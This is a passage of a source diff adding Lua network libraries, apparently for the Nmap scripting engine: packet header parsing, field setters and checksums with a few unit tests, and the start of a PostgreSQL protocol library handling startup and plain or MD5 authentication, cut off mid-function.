+-- @return Whether the parsing succeeded.
+function Packet:ip6_parse(force_continue)
+ self.ip6_offset = 0
+ if #self.buf < 40 then -- too short
+ return false
+ end
+ self.ip_v = (self:u8(self.ip6_offset + 0) & 0xF0) >> 4
+ if self.ip_v ~= 6 then -- not ipv6
+ return false
+ end
+ self.ip6 = true
+ self.ip6_tc = (self:u16(self.ip6_offset + 0) & 0x0FF0) >> 4
+ self.ip6_fl = (self:u8(self.ip6_offset + 1) & 0x0F)*65536 + self:u16(self.ip6_offset + 2)
+ self.ip6_plen = self:u16(self.ip6_offset + 4)
+ self.ip6_nhdr = self:u8(self.ip6_offset + 6)
+ self.ip6_hlimt = self:u8(self.ip6_offset + 7)
+ self.ip_bin_src = self:raw(self.ip6_offset + 8, 16)
+ self.ip_bin_dst = self:raw(self.ip6_offset + 24, 16)
+ self.ip_src = ipOps.str_to_ip(self.ip_bin_src)
+ self.ip_dst = ipOps.str_to_ip(self.ip_bin_dst)
+ self.ip6_data_offset = 40
+ return true
+end
+--- Pare an IPv6 extension header. Just jump over it at the moment.
+-- @param force_continue Ignored.
+-- @return Whether the parsing succeeded.
+function Packet:ipv6_ext_header_parse(force_continue)
+ local ext_hdr_len = self:u8(self.ip6_data_offset + 1)
+ ext_hdr_len = ext_hdr_len*8 + 8
+ self.ip6_data_offset = self.ip6_data_offset + ext_hdr_len
+ self.ip6_nhdr = self:u8(self.ip6_data_offset)
+ return true
+end
+--- Set the payload length field.
+-- @param plen Payload length.
+function Packet:ip6_set_plen(plen)
+ self:set_u16(self.ip6_offset + 4, plen)
+ self.ip6_plen = plen
+end
+--- Set the header length field.
+function Packet:ip_set_hl(len)
+ self:set_u8(self.ip_offset + 0, (self.ip_v << 4) | (len & 0x0F))
+ self.ip_v = (self:u8(self.ip_offset + 0) & 0xF0) >> 4
+ self.ip_hl = (self:u8(self.ip_offset + 0) & 0x0F) -- header_length or data_offset
+end
+--- Set the packet length field.
+-- @param len Packet length.
+function Packet:ip_set_len(len)
+ self:set_u16(self.ip_offset + 2, len)
+ self.ip_len = len
+end
+--- Set the packet identification field.
+-- @param id packet ID.
+function Packet:ip_set_id(id)
+ self:set_u16(self.ip_offset + 4, id)
+ self.ip_id = id
+end
+--- Set the TTL.
+-- @param ttl TTL.
+function Packet:ip_set_ttl(ttl)
+ self:set_u8(self.ip_offset + 8, ttl)
+ self.ip_ttl = ttl
+end
+--- Set the checksum.
+-- @param checksum Checksum.
+function Packet:ip_set_checksum(checksum)
+ self:set_u16(self.ip_offset + 10, checksum)
+ self.ip_sum = checksum
+end
+--- Count checksum for packet and save it.
+function Packet:ip_count_checksum()
+ self:ip_set_checksum(0)
+ local csum = in_cksum( self.buf:sub(0, self.ip_offset + self.ip_hl*4) )
+ self:ip_set_checksum(csum)
+end
+--- Set the source IP address.
+-- @param binip The source IP address as a byte string.
+function Packet:ip_set_bin_src(binip)
+ local nrip = u32(binip, 0)
+ self:set_u32(self.ip_offset + 12, nrip)
+ self.ip_bin_src = self:raw(self.ip_offset + 12,4) -- raw 4-bytes string
+end
+--- Set the destination IP address.
+-- @param binip The destination IP address as a byte string.
+function Packet:ip_set_bin_dst(binip)
+ local nrip = u32(binip, 0)
+ self:set_u32(self.ip_offset + 16, nrip)
+ self.ip_bin_dst = self:raw(self.ip_offset + 16,4)
+end
+--- Set the IP options field (and move the data, count new length,
+-- etc.).
+-- @param ipoptions IP options.
+function Packet:ip_set_options(ipoptions)
+ -- packet = <ip header> + ipoptions + <payload>
+ local buf = self.buf:sub(0+1,self.ip_offset + 20) .. ipoptions .. self.buf:sub(self.ip_data_offset+1)
+ self.buf = buf
+ -- set ip_len
+ self:ip_set_len(self.buf:len())
+ -- set ip_hl
+ self:ip_set_hl(5 + ipoptions:len()/4)
+ -- set data offset correctly
+ self.ip_options = self:parse_options(self.ip_opt_offset, ((self.ip_hl*4)-20))
+ self.ip_data_offset = self.ip_offset + self.ip_hl*4
+ if self.tcp then
+ self.tcp_offset = self.ip_data_offset
+ elseif self.icmp then
+ self.icmp_offset = self.ip_data_offset
+ end
+end
+
+--- Get a short string representation of the IP header.
+-- @return A string representation of the IP header.
+function Packet:ip_tostring()
+ return string.format(
+ "IP %s -> %s",
+ self.ip_src,
+ self.ip_dst)
+end
+
+--- Parse IP/TCP options into a table.
+-- @param offset Offset at which options start.
+-- @param length Length of options.
+-- @return Table of options.
+function Packet:parse_options(offset, length)
+ local options = {}
+ local op = 1
+ local opt_ptr = 0
+ while opt_ptr < length do
+ local t, l, d
+ options[op] = {}
+
+ t = self:u8(offset + opt_ptr)
+ options[op].type = t
+ if t==0 or t==1 then
+ l = 1
+ d = nil
+ else
+ l = self:u8(offset + opt_ptr + 1)
+ if l > 2 then
+ d = self:raw(offset + opt_ptr + 2, l-2)
+ end
+ end
+ options[op].len = l
+ options[op].data = d
+ opt_ptr = opt_ptr + l
+ op = op + 1
+ end
+ return options
+end
+
+--- Get a short string representation of the packet.
+-- @return A string representation of the packet.
+function Packet:tostring()
+ if self.tcp then
+ return self:tcp_tostring()
+ elseif self.udp then
+ return self:udp_tostring()
+ elseif self.icmp then
+ return self:icmp_tostring()
+ elseif self.ip then
+ return self:ip_tostring()
+ end
+ return "<no tostring!>"
+end
+
+----------------------------------------------------------------------------------------------------------------
+--- Parse an ICMP packet header.
+-- @param force_continue Ignored.
+-- @return Whether the parsing succeeded.
+function Packet:icmp_parse(force_continue)
+ self.icmp_offset = self.ip_data_offset
+ if #self.buf < self.icmp_offset + 8 then -- let's say 8 bytes minimum
+ return false
+ end
+ self.icmp = true
+ self.icmp_type = self:u8(self.icmp_offset + 0)
+ self.icmp_code = self:u8(self.icmp_offset + 1)
+ self.icmp_sum = self:u16(self.icmp_offset + 2)
+
+ if self.icmp_type == 3 or self.icmp_type == 4 or self.icmp_type == 11 or self.icmp_type == 12 then
+ self.icmp_payload = true
+ self.icmp_r0 = self:u32(self.icmp_offset + 4)
+ self.icmp_payload_offset = self.icmp_offset + 8
+ if #self.buf < self.icmp_payload_offset + 24 then
+ return false
+ end
+ self.icmp_payload = Packet:new(self.buf:sub(self.icmp_payload_offset+1), self.packet_len - self.icmp_payload_offset, true)
+ end
+ return true
+end
+--- Get a short string representation of the ICMP header.
+-- @return A string representation of the ICMP header.
+function Packet:icmp_tostring()
+ return self:ip_tostring() .. " ICMP(" .. self.icmp_payload:tostring() .. ")"
+end
+
+----------------------------------------------------------------------------------------------------------------
+--- Parse an ICMPv6 packet header.
+-- @param force_continue Ignored.
+-- @return Whether the parsing succeeded.
+function Packet:icmpv6_parse(force_continue)
+ self.icmpv6_offset = self.ip6_data_offset
+ if #self.buf < self.icmpv6_offset + 8 then -- let's say 8 bytes minimum
+ return false
+ end
+ self.icmpv6 = true
+ self.icmpv6_type = self:u8(self.icmpv6_offset + 0)
+ self.icmpv6_code = self:u8(self.icmpv6_offset + 1)
+
+ if self.icmpv6_type == ND_NEIGHBOR_SOLICIT then
+ self.ns_target = self:raw(self.icmpv6_offset + 8, 16)
+ end
+ return true
+end
+
+----------------------------------------------------------------------------------------------------------------
+-- Parse a TCP packet header.
+-- @param force_continue Whether a short packet causes parsing to fail.
+-- @return Whether the parsing succeeded.
+function Packet:tcp_parse(force_continue)
+ self.tcp = true
+ self.tcp_offset = self.ip_data_offset or self.ip6_data_offset
+ if #self.buf < self.tcp_offset + 4 then
+ return false
+ end
+ self.tcp_sport = self:u16(self.tcp_offset + 0)
+ self.tcp_dport = self:u16(self.tcp_offset + 2)
+ if #self.buf < self.tcp_offset + 20 then
+ if force_continue then
+ return true
+ else
+ return false
+ end
+ end
+ self.tcp_seq = self:u32(self.tcp_offset + 4)
+ self.tcp_ack = self:u32(self.tcp_offset + 8)
+ self.tcp_hl = (self:u8(self.tcp_offset+12) & 0xF0) >> 4 -- header_length or data_offset
+ self.tcp_x2 = (self:u8(self.tcp_offset+12) & 0x0F)
+ self.tcp_flags = self:u8(self.tcp_offset + 13)
+ self.tcp_th_fin = (self.tcp_flags & 0x01)~=0 -- true/false
+ self.tcp_th_syn = (self.tcp_flags & 0x02)~=0
+ self.tcp_th_rst = (self.tcp_flags & 0x04)~=0
+ self.tcp_th_push = (self.tcp_flags & 0x08)~=0
+ self.tcp_th_ack = (self.tcp_flags & 0x10)~=0
+ self.tcp_th_urg = (self.tcp_flags & 0x20)~=0
+ self.tcp_th_ece = (self.tcp_flags & 0x40)~=0
+ self.tcp_th_cwr = (self.tcp_flags & 0x80)~=0
+ self.tcp_win = self:u16(self.tcp_offset + 14)
+ self.tcp_sum = self:u16(self.tcp_offset + 16)
+ self.tcp_urp = self:u16(self.tcp_offset + 18)
+ self.tcp_opt_offset = self.tcp_offset + 20
+ self.tcp_options = self:parse_options(self.tcp_opt_offset, ((self.tcp_hl*4)-20))
+ self.tcp_data_offset = self.tcp_offset + self.tcp_hl*4
+
+ if self.ip_len then
+ self.tcp_data_length = self.ip_len - self.tcp_offset - self.tcp_hl*4
+ else
+ self.tcp_data_length = self.ip6_plen - self.tcp_hl*4
+ end
+ self:tcp_parse_options()
+ return true
+end
+
+--- Get a short string representation of the TCP packet.
+-- @return A string representation of the TCP header.
+function Packet:tcp_tostring()
+ return string.format(
+ "TCP %s:%i -> %s:%i",
+ self.ip_src, self.tcp_sport,
+ self.ip_dst, self.tcp_dport
+ )
+end
+
+--- Parse options for TCP header.
+function Packet:tcp_parse_options()
+ local eoo = false
+ for _,opt in ipairs(self.tcp_options) do
+ if eoo then
+ self.tcp_opt_after_eol = true
+ end
+
+ if opt.type == 0 then -- end of options
+ eoo = true
+ elseif opt.type == 2 then -- MSS
+ self.tcp_opt_mss = u16(opt.data, 0)
+ self.tcp_opt_mtu = self.tcp_opt_mss + 40
+ elseif opt.type == 3 then -- widow scaling
+ self.tcp_opt_ws = u8(opt.data, 0)
+ elseif opt.type == 8 then -- timestamp
+ self.tcp_opt_t1 = u32(opt.data, 0)
+ self.tcp_opt_t2 = u32(opt.data, 4)
+ end
+ end
+end
+
+--- Set the TCP source port.
+-- @param port Source port.
+function Packet:tcp_set_sport(port)
+ self:set_u16(self.tcp_offset + 0, port)
+ self.tcp_sport = port
+end
+--- Set the TCP destination port.
+-- @param port Destination port.
+function Packet:tcp_set_dport(port)
+ self:set_u16(self.tcp_offset + 2, port)
+ self.tcp_dport = port
+end
+--- Set the TCP sequence field.
+-- @param new_seq Sequence.
+function Packet:tcp_set_seq(new_seq)
+ self:set_u32(self.tcp_offset + 4, new_seq)
+ self.tcp_seq = new_seq
+end
+--- Set the TCP flags field (like SYN, ACK, RST).
+-- @param new_flags Flags, represented as an 8-bit number.
+function Packet:tcp_set_flags(new_flags)
+ self:set_u8(self.tcp_offset + 13, new_flags)
+ self.tcp_flags = new_flags
+end
+--- Set the urgent pointer field.
+-- @param urg_ptr Urgent pointer.
+function Packet:tcp_set_urp(urg_ptr)
+ self:set_u16(self.tcp_offset + 18, urg_ptr)
+ self.tcp_urp = urg_ptr
+end
+--- Set the TCP checksum field.
+-- @param checksum Checksum.
+function Packet:tcp_set_checksum(checksum)
+ self:set_u16(self.tcp_offset + 16, checksum)
+ self.tcp_sum = checksum
+end
+--- Count and save the TCP checksum field.
+function Packet:tcp_count_checksum()
+ self:tcp_set_checksum(0)
+ local proto = self.ip_p
+ local length = self.buf:len() - self.tcp_offset
+ local b = self.ip_bin_src ..
+ self.ip_bin_dst ..
+ "\0" ..
+ (">BI2"):pack(proto, length) ..
+ self.buf:sub(self.tcp_offset+1)
+
+ self:tcp_set_checksum(in_cksum(b))
+end
+
+--- Map an MTU to a link type string. Stolen from p0f.
+-- @return A string describing the link type.
+function Packet:tcp_lookup_link()
+ local mtu_def = {
+ {["mtu"]=256, ["txt"]= "radio modem"},
+ {["mtu"]=386, ["txt"]= "ethernut"},
+ {["mtu"]=552, ["txt"]= "SLIP line / encap ppp"},
+ {["mtu"]=576, ["txt"]= "sometimes modem"},
+ {["mtu"]=1280, ["txt"]= "gif tunnel"},
+ {["mtu"]=1300, ["txt"]= "PIX, SMC, sometimes wireless"},
+ {["mtu"]=1362, ["txt"]= "sometimes DSL (1)"},
+ {["mtu"]=1372, ["txt"]= "cable modem"},
+ {["mtu"]=1400, ["txt"]= "(Google/AOL)"},
+ {["mtu"]=1415, ["txt"]= "sometimes wireless"},
+ {["mtu"]=1420, ["txt"]= "GPRS, T1, FreeS/WAN"},
+ {["mtu"]=1423, ["txt"]= "sometimes cable"},
+ {["mtu"]=1440, ["txt"]= "sometimes DSL (2)"},
+ {["mtu"]=1442, ["txt"]= "IPIP tunnel"},
+ {["mtu"]=1450, ["txt"]= "vtun"},
+ {["mtu"]=1452, ["txt"]= "sometimes DSL (3)"},
+ {["mtu"]=1454, ["txt"]= "sometimes DSL (4)"},
+ {["mtu"]=1456, ["txt"]= "ISDN ppp"},
+ {["mtu"]=1458, ["txt"]= "BT DSL (?)"},
+ {["mtu"]=1462, ["txt"]= "sometimes DSL (5)"},
+ {["mtu"]=1470, ["txt"]= "(Google 2)"},
+ {["mtu"]=1476, ["txt"]= "IPSec/GRE"},
+ {["mtu"]=1480, ["txt"]= "IPv6/IPIP"},
+ {["mtu"]=1492, ["txt"]= "pppoe (DSL)"},
+ {["mtu"]=1496, ["txt"]= "vLAN"},
+ {["mtu"]=1500, ["txt"]= "ethernet/modem"},
+ {["mtu"]=1656, ["txt"]= "Ericsson HIS"},
+ {["mtu"]=2024, ["txt"]= "wireless/IrDA"},
+ {["mtu"]=2048, ["txt"]= "Cyclom X.25 WAN"},
+ {["mtu"]=2250, ["txt"]= "AiroNet wireless"},
+ {["mtu"]=3924, ["txt"]= "loopback"},
+ {["mtu"]=4056, ["txt"]= "token ring (1)"},
+ {["mtu"]=4096, ["txt"]= "Sangoma X.25 WAN"},
+ {["mtu"]=4352, ["txt"]= "FDDI"},
+ {["mtu"]=4500, ["txt"]= "token ring (2)"},
+ {["mtu"]=9180, ["txt"]= "FORE ATM"},
+ {["mtu"]=16384, ["txt"]= "sometimes loopback (1)"},
+ {["mtu"]=16436, ["txt"]= "sometimes loopback (2)"},
+ {["mtu"]=18000, ["txt"]= "token ring x4"},
+ }
+ if not self.tcp_opt_mss or self.tcp_opt_mss==0 then
+ return "unspecified"
+ end
+ for _,x in ipairs(mtu_def) do
+ local mtu = x["mtu"]
+ local txt = x["txt"]
+ if self.tcp_opt_mtu == mtu then
+ return txt
+ end
+ if self.tcp_opt_mtu < mtu then
+ return string.format("unknown-%i", self.tcp_opt_mtu)
+ end
+ end
+ return string.format("unknown-%i", self.tcp_opt_mtu)
+end
+
+----------------------------------------------------------------------------------------------------------------
+-- Parse a UDP packet header.
+-- @param force_continue Whether a short packet causes parsing to fail.
+-- @return Whether the parsing succeeded.
+function Packet:udp_parse(force_continue)
+ self.udp = true
+ self.udp_offset = self.ip_data_offset or self.ip6_data_offset
+ if #self.buf < self.udp_offset + 4 then
+ return false
+ end
+ self.udp_sport = self:u16(self.udp_offset + 0)
+ self.udp_dport = self:u16(self.udp_offset + 2)
+ if #self.buf < self.udp_offset + 8 then
+ if force_continue then
+ return true
+ else
+ return false
+ end
+ end
+ self.udp_len = self:u16(self.udp_offset + 4)
+ self.udp_sum = self:u16(self.udp_offset + 6)
+
+ return true
+end
+
+--- Get a short string representation of the UDP packet.
+-- @return A string representation of the UDP header.
+function Packet:udp_tostring()
+ return string.format(
+ "UDP %s:%i -> %s:%i",
+ self.ip_src, self.udp_sport,
+ self.ip_dst, self.udp_dport
+ )
+end
+
+---
+-- Set the UDP source port.
+-- @param port Source port.
+function Packet:udp_set_sport(port)
+ self:set_u16(self.udp_offset + 0, port)
+ self.udp_sport = port
+end
+---
+-- Set the UDP destination port.
+-- @param port Destination port.
+function Packet:udp_set_dport(port)
+ self:set_u16(self.udp_offset + 2, port)
+ self.udp_dport = port
+end
+---
+-- Set the UDP payload length.
+-- @param len UDP payload length.
+function Packet:udp_set_length(len)
+ self:set_u16(self.udp_offset + 4, len)
+ self.udp_len = len
+end
+---
+-- Set the UDP checksum field.
+-- @param checksum Checksum.
+function Packet:udp_set_checksum(checksum)
+ self:set_u16(self.udp_offset + 6, checksum)
+ self.udp_sum = checksum
+end
+---
+-- Count and save the UDP checksum field.
+function Packet:udp_count_checksum()
+ self:udp_set_checksum(0)
+ local proto = self.ip_p
+ local length = self.buf:len() - self.udp_offset
+ local b = self.ip_bin_src ..
+ self.ip_bin_dst ..
+ "\0" ..
+ (">BI2"):pack(proto, length) ..
+ self.buf:sub(self.udp_offset+1)
+
+ self:udp_set_checksum(in_cksum(b))
+end
+
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+-- Byte setting functions
+test_suite:add_test(unittest.equal(set_u8("abc", 1, 0x41), "aAc"), "set_u8")
+test_suite:add_test(unittest.equal(set_u16("abcd", 2, 0x4142), "abAB"), "set_u16")
+test_suite:add_test(unittest.equal(set_u32("abcdefg", 0, 0x41424344), "ABCDefg"), "set_u32")
+
+-- Packet parsing
+local packet1 = "\x45\x00\x00\x62\xaf\xbd\x40\x00\xe3\x06\x03\xf3\x03\x5e\x1e\xa5\xc0\xa8\x01\x3a\x01\xbb\xee\x3e\x74\xd2\x61\xbe\xd5\x66\xb1\x09\x80\x18\x00\x7a\x94\x22\x00\x00\x01\x01\x08\x0a\x73\xab\x53\x92\x05\xe3\x08\xc3\x17\x03\x03\x00\x29\x99\xff\x5d\x17\xe4\x26\x14\xb8\x53\xe3\x76\xdc\xba\xf9\x55\xf7\x52\x5f\xa2\x78\xc3\x4e\x9a\x31\x44\x2d\x67\x9c\x16\xea\x71\xf1\xdb\x0a\xdd\xc1\x92\x46\xa7\xdf\xde"
+local pkt_parsed = Packet:new(packet1, #packet1, false)
+test_suite:add_test (unittest.not_nil(pkt_parsed), "parse packet")
+
+test_suite:add_test(unittest.equal(pkt_parsed:raw(), packet1), "parse to raw")
+
+-- Checksum tests
+pkt_parsed:ip_count_checksum()
+test_suite:add_test(unittest.equal(pkt_parsed:raw(), packet1), "IP checksum")
+pkt_parsed:tcp_count_checksum()
+test_suite:add_test(unittest.equal(pkt_parsed:raw(), packet1), "TCP checksum")
+
+-- TODO: UDP parsing/checksum
+-- TODO: IPv6 parsing, ICMPv6 checksum
+-- Basically, we need a lot more test coverage here.
+return _ENV;
diff --git a/nselib/pgsql.lua b/nselib/pgsql.lua
new file mode 100644
index 0000000..387a80c
--- /dev/null
+++ b/nselib/pgsql.lua
@@ -0,0 +1,620 @@
+---
+-- PostgreSQL library supporting both version 2 and version 3 of the protocol.
+-- The library currently contains the bare minimum to perform authentication.
+-- Authentication is supported with or without SSL enabled and using the
+-- plain-text or MD5 authentication mechanisms.
+--
+-- The PGSQL protocol is explained in detail in the following references.
+-- * http://developer.postgresql.org/pgdocs/postgres/protocol.html
+-- * http://developer.postgresql.org/pgdocs/postgres/protocol-flow.html
+-- * http://developer.postgresql.org/pgdocs/postgres/protocol-message-formats.html
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @author Patrik Karlsson <patrik@cqure.net>
+
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local openssl = stdnse.silent_require "openssl"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("pgsql", stdnse.seeall)
+
+-- Version 0.3
+-- Created 02/05/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 02/20/2010 - v0.2 - added detectVersion to automatically detect and return
+-- the correct version class
+-- Revised 03/04/2010 - v0.3 - added support for trust authentication method
+
+--- Supported pgsql message types
+MessageType = {
+ Error = 0x45,
+ BackendKeyData = 0x4b,
+ AuthRequest=0x52,
+ ParameterStatus = 0x53,
+ ReadyForQuery = 0x5a,
+ PasswordMessage = 0x70,
+}
+
+--- Supported authentication types
+AuthenticationType = {
+ Success = 0x00,
+ Plain = 0x03,
+ MD5 = 0x05
+}
+
+-- Version 2 of the protocol
+v2 =
+{
+
+ --- Pad a string with zeroes
+ --
+ -- @param str string containing the string to be padded
+ -- @param len number containing the wanted length
+ -- @return string containing the padded string value
+ zeroPad = function(str, len)
+ return str .. string.rep('\0', len - #str)
+ end,
+
+ messageDecoder = {
+
+ --- Decodes an Auth Request packet
+ --
+ -- @param data string containing raw data received from socket
+ -- @param len number containing the length as retrieved from the header
+ -- @param pos number containing the offset into the data buffer
+ -- @return pos number containing the offset after decoding, -1 on error
+ -- @return response table containing zero or more of the following <code>salt</code> and <code>success</code>
+ -- error string containing error message if pos is -1
+ [MessageType.AuthRequest] = function( data, len, pos )
+ local _, authtype
+ local response = {}
+ authtype, pos = string.unpack(">I4", data, pos)
+
+ if ( authtype == AuthenticationType.MD5 ) then
+ if ( len - pos + 1 ) < 3 then
+ return -1, "ERROR: Malformed AuthRequest received"
+ end
+ response.salt, pos = string.unpack("c4", data, pos)
+ elseif ( authtype == AuthenticationType.Plain ) then
+ --do nothing
+ elseif ( authtype == 0 ) then
+ response.success = true
+ else
+ stdnse.debug1("unknown auth type: %d", authtype)
+ end
+
+ response.authtype = authtype
+ return pos, response
+ end,
+
+
+
+ --- Decodes an Error packet
+ --
+ -- @param data string containing raw data received from socket
+ -- @param len number containing the length as retrieved from the header
+ -- @param pos number containing the offset into the data buffer
+ -- @return pos number containing the offset after decoding
+ -- @return response table containing zero or more of the following <code>error.severity</code>,
+ -- <code>error.code</code>, <code>error.message</code>, <code>error.file</code>,
+ -- <code>error.line</code> and <code>error.routine</code>
+ [MessageType.Error] = function( data, len, pos )
+ local tmp = data:sub(pos, pos + len - 4)
+ local response = {}
+ local pos_end = pos + len
+
+ response.error = {}
+ response.error.message, pos = string.unpack("z", data, pos)
+ return pos, response
+ end,
+
+ },
+
+ --- Process the server response
+ --
+ -- @param data string containing the server response
+ -- @param pos number containing the offset into the data buffer
+ processResponse = function(data, pos)
+ local ptype, len, status, response
+ local pos = pos or 1
+
+ ptype, pos = string.unpack("B", data, pos)
+ len = data:len() - 1
+
+ if v2.messageDecoder[ptype] then
+ pos, response = v2.messageDecoder[ptype](data, len, pos)
+
+ if pos ~= -1 then
+ response.type = ptype
+ return pos, response
+ end
+ else
+ stdnse.debug1("Missing decoder for %d", ptype)
+ return -1, ("Missing decoder for %d"):format(ptype)
+ end
+ return -1, "Decoding failed"
+ end,
+
+
+ --- Reads a packet and handles additional socket reads to retrieve remaining data
+ --
+ -- @param socket socket already connected to the pgsql server
+ -- @param data string containing any data already retrieved from the socket
+ -- @param pos number containing the offset into the data buffer
+ -- @return data string containing the initial and any additional data
+ readPacket=function(socket, data, pos)
+
+ local pos = pos or 1
+ local data = data or ""
+ local status = true
+ local tmp = ""
+ local ptype, len
+
+ local catch = function() socket:close() stdnse.debug1("processResponse(): failed") end
+ local try = nmap.new_try(catch)
+
+ if ( data == nil or data:len() == 0 ) then
+ data = try(socket:receive())
+ end
+ return data
+ end,
+
+ --- Sends a startup message to the server containing the username and database to connect to
+ --
+ -- @param socket socket already connected to the pgsql server
+ -- @param user string containing the name of the user
+ -- @param database string containing the name of the database
+ -- @return status true on success, false on failure
+ -- @return table containing a processed response from <code>processResponse</code>
+ -- string containing error message if status is false
+ sendStartup=function(socket, user, database)
+ local data, response, status, pos
+ local proto_ver, ptype, _, tmp
+
+ local tty, unused, args = "", "", ""
+ proto_ver = 0x0020000
+ user = v2.zeroPad(user, 32)
+ database = v2.zeroPad(database, 64)
+ data = string.pack(">I4I4", 296, proto_ver)
+ .. database
+ .. user
+ .. v2.zeroPad(args, 64)
+ .. v2.zeroPad(unused, 64)
+ .. v2.zeroPad(tty,64)
+
+ socket:send( data )
+
+ -- attempt to verify version
+ status, data = socket:receive_bytes( 1 )
+
+ if ( not(status) ) then
+ return false, "sendStartup failed"
+ end
+
+ data = v2.readPacket(socket, data )
+ pos, response = v2.processResponse( data )
+
+ if ( pos < 0 or response.type == MessageType.Error) then
+ return false, response.error.message or "unknown error"
+ end
+
+ return true, response
+ end,
+
+ --- Attempts to authenticate to the pgsql server
+ -- Supports plain-text and MD5 authentication
+ --
+ -- @param socket socket already connected to the pgsql server
+ -- @param params table containing any additional parameters <code>authtype</code>, <code>version</code>
+ -- @param username string containing the username to use for authentication
+ -- @param password string containing the password to use for authentication
+ -- @param salt string containing the cryptographic salt value
+ -- @return status true on success, false on failure
+ -- @return result table containing parameter status information,
+ -- result string containing an error message if login fails
+ loginRequest = function ( socket, params, username, password, salt )
+
+ local catch = function() socket:close() stdnse.debug1("loginRequest(): failed") end
+ local try = nmap.new_try(catch)
+ local response = {}
+ local status, data, len, pos, tmp
+
+ if ( params.authtype == AuthenticationType.MD5 ) then
+ local hash = createMD5LoginHash(username,password,salt)
+ data = string.pack( ">I4z", 40, hash)
+ try( socket:send( data ) )
+ elseif ( params.authtype == AuthenticationType.Plain ) then
+ local data
+ data = string.pack(">I4z", password:len() + 4, password)
+ try( socket:send( data ) )
+ elseif ( params.authtype == AuthenticationType.Success ) then
+ return true, nil
+ end
+
+ data, response.params = "", {}
+
+ data = v2.readPacket(socket, data, 1)
+ pos, tmp = v2.processResponse(data, 1)
+
+ -- this should contain the AuthRequest packet
+ if tmp.type ~= MessageType.AuthRequest then
+ return false, "Expected AuthRequest got something else"
+ end
+
+ if not tmp.success then
+ return false, "Login failure"
+ end
+
+ return true, response
+ end,
+
+}
+
+-- Version 3 of the protocol
+v3 =
+{
+ messageDecoder = {
+
+ --- Decodes an Auth Request packet
+ --
+ -- @param data string containing raw data received from socket
+ -- @param len number containing the length as retrieved from the header
+ -- @param pos number containing the offset into the data buffer
+ -- @return pos number containing the offset after decoding, -1 on error
+ -- @return response table containing zero or more of the following <code>salt</code> and <code>success</code>
+ -- error string containing error message if pos is -1
+ [MessageType.AuthRequest] = function( data, len, pos )
+ local _, authtype
+ local response = {}
+
+ authtype, pos = string.unpack(">I4", data, pos)
+
+ if ( authtype == AuthenticationType.MD5 ) then
+ if ( len - pos + 1 ) < 3 then
+ return -1, "ERROR: Malformed AuthRequest received"
+ end
+ response.salt, pos = string.unpack("c4", data, pos)
+ elseif ( authtype == AuthenticationType.Plain ) then
+ --do nothing
+ elseif ( authtype == 0 ) then
+ response.success = true
+ else
+ stdnse.debug1("unknown auth type: %d", authtype )
+ end
+
+ response.authtype = authtype
+ return pos, response
+ end,
+
+ --- Decodes an ParameterStatus packet
+ --
+ -- @param data string containing raw data received from socket
+ -- @param len number containing the length as retrieved from the header
+ -- @param pos number containing the offset into the data buffer
+ -- @return pos number containing the offset after decoding
+ -- @return response table containing zero or more of the following <code>key</code> and <code>value</code>
+ [MessageType.ParameterStatus] = function( data, len, pos )
+ local response = {}
+
+ local tmp = data:sub(pos, pos + len - 4)
+ response.key, response.value = string.unpack("zz", tmp)
+ return pos + len - 4, response
+ end,
+
+ --- Decodes an Error packet
+ --
+ -- @param data string containing raw data received from socket
+ -- @param len number containing the length as retrieved from the header
+ -- @param pos number containing the offset into the data buffer
+ -- @return pos number containing the offset after decoding
+ -- @return response table containing zero or more of the following <code>error.severity</code>,
+ -- <code>error.code</code>, <code>error.message</code>, <code>error.file</code>,
+ -- <code>error.line</code> and <code>error.routine</code>
+ [MessageType.Error] = function( data, len, pos )
+ local tmp = data:sub(pos, pos + len - 4)
+ local _, value, prefix
+ local response = {}
+ local pos_end = pos + len
+
+ response.error = {}
+
+ while ( pos < pos_end - 5 ) do
+ prefix, value, pos = string.unpack("c1z", data, pos)
+
+ if prefix == 'S' then
+ response.error.severity = value
+ elseif prefix == 'C' then
+ response.error.code = value
+ elseif prefix == 'M' then
+ response.error.message = value
+ elseif prefix == 'F' then
+ response.error.file = value
+ elseif prefix == 'L' then
+ response.error.line = value
+ elseif prefix == 'R' then
+ response.error.routine = value
+ end
+ end
+ return pos, response
+ end,
+
+ --- Decodes the BackendKeyData packet
+ --
+ -- @param data string containing raw data received from socket
+ -- @param len number containing the length as retrieved from the header
+ -- @param pos number containing the offset into the data buffer
+ -- @return pos number containing the offset after decoding, -1 on error
+ -- @return response table containing zero or more of the following <code>pid</code> and <code>key</code>
+ -- error string containing error message if pos is -1
+ [MessageType.BackendKeyData] = function( data, len, pos )
+ local response = {}
+
+ if len ~= 12 then
+ return -1, "ERROR: Invalid BackendKeyData packet"
+ end
+
+ response.pid, response.key, pos = string.unpack(">I4I4", data, pos)
+ return pos, response
+ end,
+
+ --- Decodes an ReadyForQuery packet
+ --
+ -- @param data string containing raw data received from socket
+ -- @param len number containing the length as retrieved from the header
+ -- @param pos number containing the offset into the data buffer
+ -- @return pos number containing the offset after decoding, -1 on error
+ -- @return response table containing zero or more of the following <code>status</code>
+ -- error string containing error message if pos is -1
+ [MessageType.ReadyForQuery] = function( data, len, pos )
+ local response = {}
+
+ if len ~= 5 then
+ return -1, "ERROR: Invalid ReadyForQuery packet"
+ end
+
+ response.status, pos = string.unpack("B", data, pos )
+ return pos, response
+ end,
+ },
+
+ --- Reads a packet and handles additional socket reads to retrieve remaining data
+ --
+ -- @param socket socket already connected to the pgsql server
+ -- @param data string containing any data already retrieved from the socket
+ -- @param pos number containing the offset into the data buffer
+ -- @return data string containing the initial and any additional data
+ readPacket = function(socket, data, pos)
+ pos = pos or 1
+ data = data or ""
+
+ -- Make sure that we have enough data for the header
+ local targetlen = pos - 1 + 5 -- header is 5 bytes (structure >BI4)
+ while #data < targetlen do
+ local status, extra = socket:receive_bytes(targetlen - #data)
+ if not status then
+ stdnse.debug1("Not enough data for PGSQL response header")
+ return nil, extra
+ end
+ data = data .. extra
+ end
+
+ local _, header = v3.decodeHeader(data, pos)
+
+ targetlen = targetlen + header.len - 4 -- header.len is 4 bytes
+ while #data < targetlen do
+ local status, extra = socket:receive_bytes(targetlen - #data)
+ if not status then
+ stdnse.debug1("Not enough data for declared PGSQL response size")
+ return nil, extra
+ end
+ data = data .. extra
+ end
